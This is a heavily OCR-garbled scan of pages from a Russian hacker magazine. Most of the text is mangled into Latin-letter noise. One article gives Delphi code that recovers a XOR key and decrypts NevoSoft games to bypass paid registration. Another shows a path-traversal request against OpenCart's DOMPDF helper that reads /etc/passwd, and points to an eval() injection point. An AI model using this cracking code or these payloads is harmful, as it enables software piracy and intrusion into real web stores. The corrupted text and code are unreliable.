nnaTcpopMbl ,o,Jl$1 HanillCaHI!1S1 «Ta6neTKiII» 51 Bbl6paJl Delphi 7. Bee IIlHcTpYMeHTbl paancxeuu Ha onepaunor-uou crone, nauue-rr kpenxo nplll8s:!3aH - MO>KHO npucrynars K It1CCne,ll,OBaHI!1IO. A reneps 060 scev no nopsnxy ...

CKAnbnEnb. TAMnOH. CnHPT, EWE Cn~PT, OrYPEU ... nOMRHEM!

YCTaHaSJlIt1SaeM 1!1 3anYCKaeM I!1rpy. BI!1,1J,I!1M Kpa0180e OKOWKO, S KOTOPOM kpacyercs ape eta. OTBe,ll,eHHOe HaM ,ll,ns:! ee TeCTlt1pOSaHI!1$1. Cjaeno TblKaeM MblWKOiil no KHonKe «urpan,» 1!1 HaL1I1lHaeM Ha6nlO,D,aTb, L1TO TSOPil1TC51 S CIllCTeMe. CsepHeM \I1rpy Ha speM51 III 3arnS1HeM B «,[J,lIlcneTyep aana-i». 83rns:!,IJ, nanaer Ha He\l13SeCTHbliil HaM npou,ecc c pacurupeaueu *.tmp.

YTO >K, ,lJ,asaiil rmmeM, YTO 3TO aa CPPYKT, III KaK OH TYT OKa3aflC51. TblKaeM B csoticrsa npou,ecca III BYIIlTbIBaeMCS1 B IIlHq,opMau,\I1iO, KOTOPYiO HaM sunaflill. MeCTOpaCnOJlO>KeHllle cpaYlJla rOBOpv'IT 0 TOM, 4TO Mbl na sepHOM nyr». OTKpblBaeM nanxy C 3TIIlM cpaYlJlOM VI nepelllMeHOBblBaeM ero B exe·WHI!1K (KCTaTIIl, q,aiiln SlBflS1eTCs:! CKPbITbIM, TaK YTO He 3a6y,ll,b nOCTaBIIlTb rano-i-

Ky Ha «orofioaxars cxpsrrue ¢aiilnbl» B COOTseTCTBYIOW,VlX caoricraaxl. TblKaeM 8 Hero nsa pasa fleBOYI KHOnKOYI MblWVl VI BIIl,lJ,VlM npexpacuyio KapTVlHY - lIIrpa 3anYCKaeTCs:!, npVlyeM HVlKaKVlX OKOH AJl5=! perVlCTpaLJ,V\\I1

He SbICKaKVlBaeT. Ka3anOCb 6bl, uens naurero 3KcnepVlMeHTa ,lJ,O(TlIIrHYTa, urpa bonsure He rpebyer perwcrpaunu Vl pafioraer 6e3 OrpaHlo1yeHlII)=I no speMeHlII. Ho 3TOT cnocco C.nVlWKOM HygHblYi Vl Heygo6Hbliil n03TOMY 6ygeM V1CKaTb cnoco6 ynpocrwrs 3TVl ,o,eliiCTBVls:!

BCKPbIT~E nOKA3AnO, 4TO nAU~EHT YMEP OT BCKPblTHR

OCHOBHas:! uauia ueru, - HaYYIIlTC$=I cry-tars urpyunca NevoSoft'a OT ,o,eHer

B ABa KnVlKa, n03TOMY Ha4HeM pa36I1lpaTbC)=I, oTKy,o,a beperca TOT anocYaCTHbllll cpalllJl C paCWV1peHV1eM *.tmp. He 60YlCS1, YIllTaTb TOHHbl MaHyanoB He npl.1,lJ,eTCs:!, rflaSHoe - IIIMeTb liyr04KY TepneH!o151 III Kane.nbKY SHVlMaTeflbHOCTlII. \!1cKaTb nonro He nouxonarcn. Vl60 B naruce (¢aiilnOM *.tmp ne>KlIlT HenOHs:!THO 3a4eM HY>KHbliil ¢aiiln nsgame.dat, KOTOPbl~ no pa3Mepy cosnaaaer C Hawe~ VlrpywKoiii C T04HOCTbIO ,0,0 6aiiiTa. MO>KHO npennoflO>KVlTb, 4TO flaH4ep npocro nepeVlMeHoBblsaeT nsgame.dat B *.tmp III aanycxaer ero. Ho B npou,ecce npoBepKlIl aaurero npennonoxeuwa Te6s:! >K,IJ,eT 60flbWOYl 06flOM - Hac nocunaicr Ky.n.a ncnansure. coofiuias 0 TOM, 4TO npanoxe-ure He s:!Bfls:!eTCr1 VlCnOJlHs:!eMbIM cpaiilnOM. PaCCTpalliBaTbC51 He

XAKEP 06 /137/10

6ygeM, a BMeCTO aroro 6epeM ilona! -060Jl~_= ~a ncocrpee ill Ha4VlHaeM xonare nornyoxe nepBOe, 4TO npwxc..J.·- -a JV - Cp.aSHI!1Tb 3T\I1 ABa ¢aiiiJla III nOCMOTpeTb, 8 4eM >Ke VlX OTfll-1l·me. Orcccev Tota, Commander Vl BO(nOflb3yeMul sHyrpeHHeiii yTVlnll1Toi:1 Jlli~ cpa8:-'E-.!s= ; aiilnoB. Pe3YflbTaTbi cpaBHeHVl$=l 04eHb lIIHTepecHble, TaK KaK Ha6J1iO;:.,ae-c~ KpacVlBaS1 xaprvn+a:

C nepVlO,D,IIlL1HOCTblO B 2 6aiilTa Vl,[l,eT pa3J1I-01I.H-1e ~ cosnaAeHV1e. Hannuo «purrrorpeona V1CnOJlHS1eMOro cpaVina, HO KaK npOaeCTYI 06paTHblYi npou,ecc, sens Mb\ peumnn OTKa3aTbCS1 OT O,flaA4111K03 Vi ,lJ,1II3aCCeM6nepos? OT8eT D4eHb npOCT - Hy>KHO 8CnOMHI!1Tb anropl1TMbI wlllcppoSaHII1S1. CaMblM npccruu Vl D,IJ,HVlM iIl3 caMblX 3¢cpeKTlIIBHbIX (nplit npaSiI1flbHDM acnonsaoSaHVll!1) KpV1nTOaJlropVlTMos s:lBJlS1eTCs:! TaK Ha3blsaeMoe XOR-wVlcpposaHVle. HanoMHIO, B ,lJ,aHHOM MeToge no6aiilTHo npOSOA!I1TC5l 6YJ1eBa onepauns XOR. nepsoYi nepeMeHHoiil s:lBJl'rleTCs:! 6aiiiT AilSi WII1¢POBaHVls:l, a BTOPOi1

- KfliOY. Ho neper; HaMill TYT >KE BCTaeT ew,e Ogl.1H Bon pac - rge 83s:1Tb Knf04 An" AeW"¢POBK"? OTBeT npocr. HY>KHO ronsxo BcnOMH"Tb 6yneBY anre6py, lit K.n104 HaM gaP,YT B OTKPblTOM BVlge.

Crypted ~ uncrypted XOR key; Key ~ crypted XOR uncrypted

1;' 00 M 8S co aa O~ ;;;0 I Q -Ad'>' 86 70 00 D9 sc ~4 10 99 I t} ::;\$01"; 8:;- ~4 1;>' 0)0 DO (1:;- ec :;::5 I usc t:E::;,

04~F;;'S; 01 00 00 SO 3::1 11 ~6 7~ I '::! ""iJ;z

04:;::30: OG 00 0, a~ DB Ell 00 00 I n.so

~3 CO ~a D5 44 S8 ec se I ;;;.. .. .::DSU H;4 OC DS 5C S8 4C!H J DS;:Iil\SLll

ca 04~FCS: ~4 SS so De 44 24 10 S~ I !)a~E>~!::JK 042:;";)0; H as -ic ;)3 sa M aa ;7 J D~EI;XO<- 04:<FDll: 1C 1" 000063 D2 as so t co kIhK 04<~0: 04 3A3D ~3 ';C S1 at) ~a ! D::i;:·U";:;<:.!I 04~n:e: 3C :;:S S. 37 rc rr 5: S8 I <,,' ~ ..... _r 04:;:::0: C~ H C3 3t) ,(I 82 it) 001 ,:p:r=p.) ';:l'~: OFa59501 0000 5333 10 ... "') S3

40 91 S"F 13 91 AS 00 OF 1 ~''''uH; D 15 ~O 01 00 98 FD 5'0 so J o-o >:.V::: ,H301'.): EC CC 33 n a8 AA os sr I >IMi-cE:l;o a43018: !:I4 20 5::: oa 98 A8 DS H ) K-"D>E:!:F es- 7Q ~5 ae SS DA 00 es 1 l,lp~ti.'h:!;

0430.3: cr ec 10 us OF ec 10 D9 I ~ 048080: eF ec 10 D9 cs Be 09 rr ! IlIOo!!i:E:j!i:."

42 sc :t.4 10 t3 79 er :;::0 I BIII:$OCy::;. 0430tO: 4671 F~C4 9:<:D2. 4::: S3 J F~nl< 04MHI: CD AC D:> D3 10 E& oe :OD ! H;5:;;noOO 043050: ~3 2.5 sr :;::8 cr 2£0 E ~3 1 C''''10\1;;:; 04305a: 12 in 003 as DE AC :;::S 1D I [h ':.1)-.,,0

'"'" ~~~~~~: 1C ~~ :~ :: ?~ ~~ ~: ~~ ~ :r:~~~_

H~F33:

H:;F~O, Eo: H 1~ OQ 00 OF 3C IS ! IJ$!::J ~ )~~=~8: 01 00 00 SO 3D 11 :;'0 n ! Q "":!~:: )4.:30, 00 00 OF a~ 03 01 00 00 1 c.so 14'F"3a, C"3 co ;;S cs '4 S8 .rc 03 I ~;.hDaI.:Il

H H 0:: to:; 5C S8 -rc <19 I to$~8U H sa ;;;0 ca H H HI 80 I ;;oa~J:!),n::; )42F;)0; H sa ac es ;;;9 Oi 33 S7 I ;;oStnlXO<)'2FD3: 1C lA 00 00 ~3 ea ;;3 ec I co ~!h;;: 0'; 3;' sc HI sc Sl 3:0 43 I !l:Knl.{1:Q;

SC:;::8 9. e' YC rr ;;;F 8S I <" .... ,,_'" C~ H C3 3D FC S. ,Z) 00 I ,!!.Drap.)

}4HFe-, OF 359501 00 00 53 33 I 0...·0 S3 t.\I-iC('D;·DIL99 S"F_!.~LJ.....g~ _ __j )~30!iE.: es 85 01 00 00 55 56 SD I L.D UV;;; )43010; 77 64 B8 -r 10 O;:OS:;:::;:: I "dr-emo

OF 855202011 00 DS HI 0..."0 lqF lot ne 'S 28 28 72 00 D3 I tm1o{(z: m )43029 sc 24 10 ::'oS 44 H HI D9 I \$CECD$!!l:. 143('30· 54 .4 10 DS 5!>.: H D3 rr I nEIJ:"C£r!l es 44 H 10 DB D1 DF =:0 I qn~~a

1430~O: DD D9 F€ C';' 05 7~ ~=: 33 I ~ll< J430~a,5604D:Ol)BeB460S::lDI~FtJ3 DB SD E:;:: ze 55 81) ~:: De I Glirrmma:::

H30~8: 895500 es 45 04 sa 1D I l::U "t:[[2;!O HS060: 87 Fe FF DS sz DB SD 00 I ~b..:!!<>ml

BblHCHHeM, 'ITO wM!flpoBaHI1IO nOABepralOTCH TOnbKO nepasre $43000 6aHT

nonp06yeM gocTaTb 3aBeTHbl~ KflIQ4VlK. ,Ons:! sroro npOBeAeM n06V1THO OnepaLJ,VlIO XOR Me>K,IJ,Y Io1cnonHS1eMblM ¢alllnoM Vl speMeHHblM cpai1nOM.

no Vl,lJ,ee, Ha Bblxoge nOJlYYVlM Kfl104 ,lJ,flS1 geWIIlq,pOBKVI, C novouiuo koroporo MO>KHO 6Y)J,eT uienxan, Vlrpbl KaK opeWKVI. XOR·VlTb 6y,o,eM ronsxo ne asse 256 6aiilT, TaK KaK Mano KTO B Hawe BpeMs:! ucnoneayer KnlO4111 60nbweiil ,o,nlllHbl.

var

i, 0: TFileStrearni b i . bo byte;

x, ii, cc:integer; begin

if open.Execute then begin

SetCurrentDir ( 'C: \11rpbJ OT NevoSoft \Peacecraft \ game');

IIITepeXO)J.MM 8 nartxy C nr-posr

if not(fileexists('nsgame.dat')) then exit; i:~TFileStream.Create('nsgame_dat', fmOpenRead); o:~TFileStream.Create(open,FileName, fmOpenRead); x:=O; ii:=O; CC:~Oi

Ilnepe6~paeM 256 6axT for X:~O to 255 do begin

i.read(bi,l) i o.read{bo.l) ;

~ 051

key.Caption:=format('%s %x', [key.Caption, (bi xor bo ) 1 1 ;

inc (eel;

if ee mod 8 =0 then key.Caption:=key.

Caption+#13#10; end; i.Free; o.Free;

end;

KaK OKa3anOCb, Knl04, II1cnonb3yeMbllll An~ Wll1cppOBaHI-1~, He OY€Hb-TO 60nbwol71: AnlliHa ero cocraanser seero 4 6alllTa. 3a6era~ anepen CKa>KY. YTO An~ Ka>K,lJ,OIl1 V1rpbl OT KOMnaHV1V1 lleacf.odrr cyuiecrsyer YHiI1KanbHbl1ll Km04 wV1cpposaHV1I=!. KaK xe era BbIYII1CnV1Tb?!

Yrny6mlTbCI=! B ,lJ,e6pil1 He eTOIl1T, Ha eaMOM ,Ll,ene ace OyeHb npocro - ,Ll,n51 nonYLJeHVl51 KnlOya 6epel'o.o1 OT curuarvpu PE-3aronoBKa nepaue 2 6a~Ta VI npoBoAV1M onepaumo XOR. Y MHorV1X B03Hli1KHeT sonpoc: nOyeMY HY>KHO npOBO,lJ,I!1Tb onepaumo XOR ronsxo Ha 2 6ai1Ta, Be,o,b p,m'lHa KmOya - 4 6a"Ta? OTBeT npocr - 3-" " 4-" 6a"Tbl B KnlO4e scerna paBHbl $00.

eonst

ckey ~ #77#90; begin

i:=TFileStream.Create(FileNarne, fmOpenReadl;

for x:=l to 2 do begin

i.Read (tmp, 11 ; trnp:=ord{ckey(x]l xor tffiP; key,~key+chr(tmpl ;

end; key:=key+#O#Oi

Tenepb B HaWIIIX pyxax ecrs 3aB€THbl~ KnI04-MOHTlI1pOBKa, 111 MO>KHO CMeno npncrynars K Hanll1CaHV11O caMoilt nporpaMMbl An5=! B3nOMa

(Flash-sepcas nonuapcraa sa npuaueccy OHJla~H)

CKPllHWOTbl 113 IIrpbl nOJ1UapCTsa sa npuuueccv.

J E4ALLWBS.tmp:12no n",l"!i<)"i!~"-,-!
I--'- TCPIlP L Security l_ Environment J Strings
Image I Performance I Performance Graph I Threads
Image File
_j
Version: n{a
TIme: 20.09.2009 23:07
Path:
~prp~t C·T He' . .Ic.Soft',Peace.craft·,gome\E4P,Ll',l'iB5.tm.i> I
Command line:
l'E4AllWBS.tmP" I
Current directory:
I C:\V1rpbl OT NevoSoft\peacecraft\game\data\ I
Parent: run, exe( 13964)
User: MICROSOF-696AAE\Admin I ~e, • I
Started: 23:07,26 20.09.2009 I§.ring to Front I
Comment: I I 1 Kill Process I
Data EXecution Protection (DEP) Status: Disabled
I OK I I Cancel I Bbl'lHCIlHB nOA03pHTellbHbliil npouecc B CHCTeMe, 06HapY>KHBaeM, 'ITO OH HaXOAHTCl1 B nanxe C Hrpoiil - CTOHT K HeMY BHHMaTellbHee npHrlll1AeTbCl1

Mbl m1CAJlH. Mbl nHCAJlH. HAWH nAJlb4HKH YCTAJlH ...

Mbl yxe 06na,ll,aeM nocraro-u-cti V1H¢opMau,lI1et7i ,lJ,n~ HanIl1CaHV1~ yHV1Bepcansaoro B3nOMLlI,II1Ka. LJTO >K, He 6Y,lJ,eM 3p51 repsrs SpeM5=!. npll1CTynll1M ..

nOKa3aTb V1rpy npyrv

non~apCTBa sa npuaueccv

3KCKnlO3MBHO aa NevoSoft.ru

OI\HalKAbl npuauecca EJleHa npusxana B rocra K C60eMY I\~Ae, KOPOJ1l0 C~r~3MYHI\Y. KOPOJlb 6blJl 3al\OpHbl~1 JlblCblt4 CTap~KOM ~ MHOro WYTHJl 0 TOM, KaK OH WJ1enaJ1 npuaueccv no nonxe, xoraa oua 6bll1a MaJ1eHbKa5l., a 'reneps OHa TaKa51. 60J1bWa5l., 4TO cana xoro X04eWb, oruinenaer. "3aMYJK! 3aMYJK Te6e nopa!" nenan BblBOI\ C~r~3MYHI\, sanaaas cesprorv KOMnOTOM. KaK BI\PYr..

Ha4aJlC~ vparas. xakoro He 6blJlO YJKe ner 200. OH onvcrourun caAbl ~ noris, COpBaJl KPbIW~ c I\OMOB, aasanan aopora KaMH~M~ ~ l\epeBb~M~. B 1\0BepWeH~e scex 6el\, vparau pa36YI\~Jl I\paKOHa OrHeI\OHa, KOTOPbl~ M~PHO 3~~lOBaJl 6 CBoeM yuiense, Tenepb He BbICna6W"~C~ suiep xyJl~raH~Jl no H04aM, 1\0BOI\~ 6el\HbiX JK~TeJle~ 1\0 ~CTep~K~. 1i13 1\0Ma EJleHbl no rOJly6~Hoi1 n04Te npuurno nlilcbMo, YTO ee oreu 60J1eH, VI ei1 CpOYHO Hy>KHO exars I\OMO~, aa APyroi1 KOHeu KOpOJleBCTBa. Ho Aopor~ HenpOXOI\~Mbl, CeJleHH~ no nYT~

~ 052

Jl106HMal1, a rnaaaoe - 6ecnllaTHal1 I1rpYWKa

nYKCOp 3

5. 3epKaJlO Tai1H

XAKEP 06 /137/10

Bbl'lIllCnSleM KnlO'I AnSI AewlIIQJPoBKIll nYTeM npoBeAeHIllSi onepa4111111 XOR Ha nepasre 6ai1Tbl IIIrpbl III QJai1na nsgame.dat

procedure wrap(filename:string); var

i, 0: TFileStreami bi, bo, tmp;byte; X, ii:integer;

key i s t r i no l a j ;

buffer TMemoryStream; const

ckey begin

#77#90;

if not(fileexists(filename}) then exit;

i:=TFileStream.Create(filename, fmOpenRead);

0: =TFileStream. Create (ChangeFileExt (filename, .exe') I fmCreate)' buffer:=TMemoryStrearn.Create;

for x:=l to 2 do 1/ BHqMCn~eM KpMnTO-Krr~q begin

i . Read ( tmp, 1) ; tmp:=ord(ckey[x]) xor tIDp; key;=key+chr(tmp);

end; key;=key+#O#O;

i.Seek(O,soFromBeginning) i X:=Oi ii:=O;

while i.position<i.Size do

begin

XAKEP 06 /137/10

inc (ii) i i.Read(bi, 1);

bo;=bi xor ord(key[ii)); buffer.Write(bo,l); inc(x) ;

if ii=4 then ii:=O; end;

o.Write{Buffer.MemoryA, Buffer.size}; i.Free;

o.Free;

buffer.Free;

showmessage('Wrapping done'); end;

3SY"'H1T 6apa6aHHa~ ,lJ,p06b ~ 3anycKaeM nOJlYLleHHb\Vt cpa(;1Jl .. Ho nOlJeMY-TO HaM CHOBa npennaraior npo(;1TII1 B CTOPOHY neca. LJTO, rne. KOr,lJ,a Mbl nponyeTlI\Jlvt?! Be,lJ,b BpO,lJ,€ 6bl Bee npaanns-ro cnenan lI\I Ho He 6YAeM paccrpavaareca. B3"B B PYK" 04epeAHYIO 6aH04KY nnsa. npOAOn>KlI\M lI\3YlJaTb nO,lJ,OnbITHOrO lI\ nonpo6yeM Ha(;1n1 Haw npowax. BHOBb orxpuaaev Total Commander" npOBOA"M pa60TY HaA OW"6KaMlt1, cpaBHIIIBaH HopMaflbHYfO nrpy c cpa VtflOM, KOTOPblVt y Hac nony-mncs. Ha nepBblVt B3rfl~A ¢aVtflbl O,lJ,VlHaKOBbl C TOlJHOCTbfQ AD O,lJ,HOrO 6aVtTa. Ho CTOIl1T TOJlbKO Ha>KaTb KHonKY «HaVtTVl nepaos pa3fl 111 '-I lt1e», Total Commander C006ll\aeT, 4TO. Ha4"Ha" co CMell\eH"" $43000. q,a"nbl ee COBna,lJ,afOT.

Cnenoaarensuo. MO>KHO npennonoacnns. '-ITO Wlt1cppyeTcH He seCb cpailln, a TOJlbKO nepasre $43000 6aC1T. n03TOMY 6epeM S pyn1 MonOTOK 111 3y6l1\no lt1 lI\CnpaBn~eM oWVl6KlI\ S HaweM <one. 3aCTaSlI\B ,lJ,ewll\cppoaar s TOnbKO nepaue $43000 6a"T.

while i.position<i.Size do begin

inc(ii);

i Read(bi, 11; if x<$43000 then begin

bo;=bi xor ord(key[ii)); buffer.Write(bo,l);

end

else

buffer Write(bi,l); inc (x);

if ii=4 then ii:=O; end;

3anYCKaeM Haw «S3noMw.lI\K» [snpOyeM, 3TIII ,lJ,eWCTBVl$1 CnO>KHO Ha3BaTb B3flOMOM, TaK KaK Mbl He MO,lJ,lI\¢VlLJ,VlpyeM HlI\ onuoro 6awTa, ueriocpenCTBeHHO OTHocHw.erOCI=I K urpe. a JlIl1Wb 80CCTaHaSJllllBaeM VlCxO,lJ,HOe npIIIJlO>KeHVle nyrev ,lJ,eWVlcpp08aHVlHI. napy ceKyH,lJ, O>KlI\,lJ,aHVls:1; 3anYCKaeM nrpy. Hawew pa,lJ,OCTV1 HeT npenena, TaK KaK reneps IITrpa a6COJllOTHO He- 3aBVlClt1Ma OT NevcSoftoeckoro nau-repa, KOTOPblVt Kfl~H'-IV!T Y Hac ,lJ,eHbrV1. Teneps MO>KHO paCCJla6V!TbCH 1-1, OTKII!HYBWtITCb B «pecno, HBCflB>K,lJ,aTbCH JlI06V1MOVt VlrpYWKOVt.

3AKmO~EHHE

OTJlVl'-lV1e xaxepa OT 06bl'-lHOrO -renoaexa 3BKflfOyaeTCH He ronsxo B BblCOKOM ypcane n03HaHV1Vt IT -rexuonorati, a B nepayio O'-lepe,lJ,b 8 era JlI0603HaTe.nbHOCTIll III cnocobuocm HBXOp,I-1Tb HeCTaHp,apTHbIVt nonxon K 06blYHbiM ,lJ,e.naM. V1CCJle,lJ,OSaHVle, KOTopoe Mbl cei71'-1ac npo.raaenn, ,lJ,OKa3blBaeT ew,e Op,V!H ¢aKT ~ ,lJ,11$1 83.nOMa He ace rna Hy>KHO '-IaCBMIll CI-1p,eTb B OTJla,[l,'-lV1KC, ObltITCI(V103r1 J3BeTHbie 6aWTbl, xoropue Hy>KHO nocptITKCtlTTb:

IIIHor,o,a MO>KHO ~60WTIIICb VI TeMlI\ nporpaMMaMtIT, «cropsre Y Hac acerna nor; PYKO". 3a C"M npouia-ocs " peKOMeHAYIO accrna 6nIOCT" CT. 272-274 YK P<D - " 6YAeT rebe c-racrse: ;I::x::

~ 053

e M pen a

B3n,OM .llBH)f{KA OHnAWH-MArA3HHA OPENCART

BOT OHA, BECHA - BpeMH ,QenpeccHH, MapTOBCKHX KOTOB H ,QO>K,lJ,eH. JlenaTb LlTo-nH60 COBceM He 6bln0 >KenaHHH, HO, KaK aaane, y MeHH oCBo60,QHnaCb napa BeLiepOB.

Iepsrs 3TO nparnueaaee BpeMH OLleHb y>K He XOTenOCb, n03TOMY SI petuan nOTpeHHpOBaTb rnaaa, nOKonaBWHCb B PHP-,QBH>KKax. Hy, a B,Qpyr sere BblropHT? ~T06bl Y3HaTb,

LITO >Ke Bce-TaKH asuune H3 KOM6HHaUHH OpenCart, napa BeLiepOB H napa nHTpOB Ko(jle, LlHTaH ,Qanbwe .

.nEllO 6blllO BE4EPOM

npIl1Hs:JJlCs:J $=I 33 nOVlCKItI ys:J3 BlI1 MocTei71 , H3KayaS caMblX pasuux ,lJ,BV!>KKOB nOCne,lJ,HVlX SepOlt11.

B npou,ecce V13Y4eHlI1l1 OHblX OCTaHOBV!JlCS1 Ha ,1J,BIt1>KKe oHnaiilH-Mara3VlHa OpenCart sepClI1111

cls.php, Ha crpoxe 276 -1)I11a " HanpaS1OMC" OTKpblBaeM cpaG1n l!1 B!:1,lJ,iI1M, YTO HaXO,lJ,lI1MCs:J BHYTP" MeTOl1a load_htmlli. KOTOPblC; npnHII1MaeT nepeMeHHYKJ $str, VI Ha gaHHoM srane OHa HII1KaK He CPV!JlbTpyeTCs:1. Ho, T3K K3K B 3TOM

1.4.6. 3anycTV1Jl ·caMOnaJlbHblili 6aW-CKp\l1nT ,D,JlS1 ¢a~Jle HaXO,lJ,VITCs:J TOJlbKO O,Ll,II1H KJlaCC, HaM HaAD

nOIl1CKa nO,lJ,03pVlTeJlbHb1X CPYHKlJ,VlVl.

Cpe,Ll,1I1 seem npo-iero KO,IJ,a, KOTOPblVi Bbl,1J,an CKpVlnT. Moe BHV1MaH!I1e npnanekna CJleAYKJw,as:J CTpOKa:

eval ("?" . ">$str") i

HY-Ka rmmeM, YTO TaM Y Me,D,Be>KOHKa BHYTpV1. 3T01 nO,lJ,03pV1TenbHbIVi KyCOK KO,D,a HaXO,D,V1TCS1 B cpa c;n e system/helper/dom pdf/includ e/dom pdf.

~ 054

HaVlTV1 TOYKY BXO>K,IJ,eHVlS1 - CKpVlnT, I<OTOpblt":1 ,D,Ocryne-i 1I13BHe V1 pafioraer C KnaCCOM DOMPDF. YpOBHeM Bblwe, B caMot":1 nanKe dornpcf. nexar pasaue ckpurrru: Hay HeM nepe6wpaTb II1X B 6paY3epe. OTKpblsaeM nepsblt":1 nonaSWVlVtCS1, a 3TO dcrnpdf.phnl B"I1"M, 4TO CKp"nT pyraercs. MOIl, He XBaTaeT eMY BXO,D,HbIX napauerpoa. Vl3 OW\I16KV1 nOHIrHO, LITO eMY HY>KHO nonYYVlTb $_GETI'input_filel Hy 4TO xe, YI10SneTBOp"M em, HO npe,lJ,Bapil1TenbHO nOCM01pV1M, YTO

HaXO,lJ,II1TCS1 BHYTPltl cauoro ckpurrra. A BHYTP!:1

- MewaHVlHa BCS1KV1X ycnOBV1Vt. l.jT06bl Y3HaTb, KaK aaneko cKpV1nT BblnonHVlIlCS1, S1 06blLJHO pacCTaBIlS1fO B canux pa3Hbix MeCTax OTJla,lJ,OLJHble coo6w,eHV1R tuna:

printf("File: %8, line: %d<br/>", __ FILE __ , __ LINE __ I;

Her-n-oro nOMYYV1B CKpiI1nT, S1 YCTaHOBVlJl cne,D,YIOw,ee: ecnu YKa3aTb Tpe6yeMblVt napaverp input_ file, TO OH nonanaer B MeTol1load_html_filel] xnacca DOMPDF. 3TOT MeTOI1, B CBOIO 04epel1b, nblTaeTCS1 npo-urars ¢at":1n B CTPOKY npu noMOLl1" CPYHK~"" file_get_contentsl], a 3aTeM nepsnaer cOl1ep>K"MOe B MeTOl1load_htmlll. 1-1

XAKEP 06 /137/10

"'lhl_~w.av-"" "\.1"' . .....,.",,,0:0,"' "1JI1o' W<l1/.--...ti¢n!~ "~MJ",,"tw.)' "IJI'''LIII9.,,~ "'fITQIJ.I'CIR~J "'p,.r,q;ttJl....-.;,.

OqHILlloIanbHblH CaHT ABIoI>KKa OpenCart

npowcxonur Bce 3TO 6e3 KaKVlx-nVl60 cpVlnbTpau,V!i:t

To nVi pa3pa60TLH1KVI Ha,lJ,eS:l.nVlCb Ha TO, -rro no.u.scearerm 3TO~ 6V!6m1OTeKV! 6ygYT ace cpV!nbTpOBaTb, TO nlt1 OHVI OyeHb HaVlBHbl VI OCTaBVlnVl Bee Ha BOfllQ CY,lJ,b6bl. KaK 6bl TO HVI

6blflO, 3TO nrpaer HaM ua pyKy. Cnenys noruxe paficru cxpunra, nony-raerca. YTO Mbl MO>KeM YViTaTb cpaWnbl. npOBepVlM 3TO neno. B bpavaepe a uafipan:

http://localhost/h/opencart_vl.4.6/upload/ system/helper/dompdf/dompdf.php?input_ file· .. 1 .. 1 .. 1 .. f .. f .. fetcfpasswd

B HeApaX YSl3BIoIMOrO xnacca DOMPDF

3"1lJ'U.. 'll-~. IIS

. ,

lun,tl"", iU~_~I .. \_ll\~~~· "~I {

~I, r< ,'. .. ; ," • '. PU,t ,

,.~" f t.

;~ \'>Itit~'~·".pro~o<ol. u".>.>~b.p~._hO>t Sl~,,· .. ~tI.,e."'":"1 ~ e'l>l~q_u'lls"t~l.

l~1 " , 'l>:IIO'or_UUlIIJ_RUI)!{ U

1~2 ('t· .. ·~_I"vIO<;O\ ,~ .. (,0', s,~I'·~_ptolllCol '" 'I:\~'f/' I I

;~~ th''''' 0 .... ~:;F_E.CCS'HOf>I'PotaoH I,l., teq,l~>tC<l, II<lt OOIf'~F_£W.~l.f_F:£IQ'I1 a t .. ht .~,

2S~ \I I '~'tr'_(W.J!~t_p"", (

,-\ .tHV' _ ~""l:I\~' ,. ,~o~~_""",,)..· ~>' I, S1b,,· .. _< .. l.>lc~""il'!L,.hllTlltl. ""<I,._~fto'~"'''''~I.,n.

'"

,., "

;;:! SI~H.~lQ;l1'_M~\I\ :t".'jI.~_("'~"·_:-'Ui,b' t,

'"

:u;~

. (p'''~' ."'~. h:r HI,... H" (0 :g~d -r

'."<110" ~~3'1_~I";'U.:d I

" f C'".tPIll' _ElU.9l~._P)4> ) II

nc. ob_HanlJ,

117 q,_~U'I' . ' .. hu'h

Btl • oII_...,t_~Ot'ttcnhU, ol>_~_~IUflfl,

'"

?1I2 ." J'.I ,';.".

18l • ... ,_~r<Qr_!'i¥lo!.rl·r~"":4_ .. ~rn:n9~·!.

n~ "h"."._."\.,,.loJI~"("'':'(''~' I ... 1<" •. ~rtO' .~ .... ~l~'Il.

XAKEP 06 /137/ 10

.... tJ-~.! ""::'QltttuA..III,IU;'Ftlb::!~MUU!l.lUt!l ~,,~

~!b~ -~

-~

Q.llrp· ...... ·WIS!prnC&d .... O~~

' ·JtIrn 19t"tEio

!t!' fIirlWnCIFlMMII8

~ ~J.V'lU.!Z "'W'i"'ru,.OCI ;t !;!~l~UIiQ .. II.'U.,I.; ....... "I'.Hl",,"I14 p.lh'·dM"""'jlP,>d:

"k:tr..oDtlnU9"PI1I:. "JO-"·r...-llGllt'oO~ "t'S"RL""'1"'t~"Qch

o na, Mbl nony""n" /etc/passwd B B"Ae PDF-cjlaLina. V1cXOA" Vl3 roro, Ans:l KaKVlX u,ene(;i crryxur 6Vl611V10TeKa, 3TorO MO>KHO 6bl110 O>KVlAaTb.

nHWEM 3KCnnOHT

YIt1TaTb nponaaonsuue cpaWl1bl, nYCTb VI B TaKOW Vl3Bpaw,eHHOW cpOpMe - 3TD uennoxo. HD XOTenOCb Yero-To bonsurcro. Y>I< OyeHb CVlflbHO eval[] M030n!llll rnaaa - Heflb3s:l ynyckars B03MO>KHOCTb BblnonHVlTb PHP-KOA. B 3TOM cny-iae 6bl110 6bl ,1J,OCTaTOYHO 3aVlHKnY,lJ,V1Tb flI060Vl cpa ill 11 , CO,lJ,ep>KaUJ,VlfIi KO,lJ"

VI OH 6bl ycneun-o BbInOllHV1nCs:l. Ho 8 CBoeM sxcnnowre ,LJ,11S1



·Qgencart.com - ocplt1u,VlanbHblW ca~T OpenCart .

• us3.php.net/rnanua lie n/features. file!JRload·Rul-method. Qhp - MaHyan PHP no MeToAY PUT.

• QhIl"Dg!/lJla n uil.lLe.oL =Ilpers.dq_lap_hp _ MaHyan PHP

no 06epTKaM.

• arch ives. neD ha Rsls. co m/a rc h ives/fu lid isclosure/2009-07/0417 . htrnl- co06111eH"e

06 Ys:l3BV1MOCTV!

B DOMPDF.

• dig i ta Ii u Ilki eS'£i!.L dompdf/index.php _ cafrr Knacca DOMPDF. .exploit-db.comL papersL260 - 6YMara no RFI/LFI OT CWH Underground

~ 055

FN.aI ~rtu: 1..1r.:~h '1'"'fCUn1)O~ .. m- I ''''fA';~ .... 11\ """"vJ" 'An If{« t.r~ h 'f'<JM('d(1 (-, ''tl' fiI~ f:l. r \'.11..111(',' In -kIWCIF""Irt~,U,_h"_hlt!W>"~ ktl'l",*-ftl-df tb,,~IIIJ,¥'J") S&..rtt 1I.r.'" (m.oJI1I rkHr",nln ~,J)t,\i(Jfhf""1.\tONk_I,..,l'ok(Ut) "~m'<tt.",'d«tWlJ,'d4t11~oQ,'M(o.lllJk 22.)

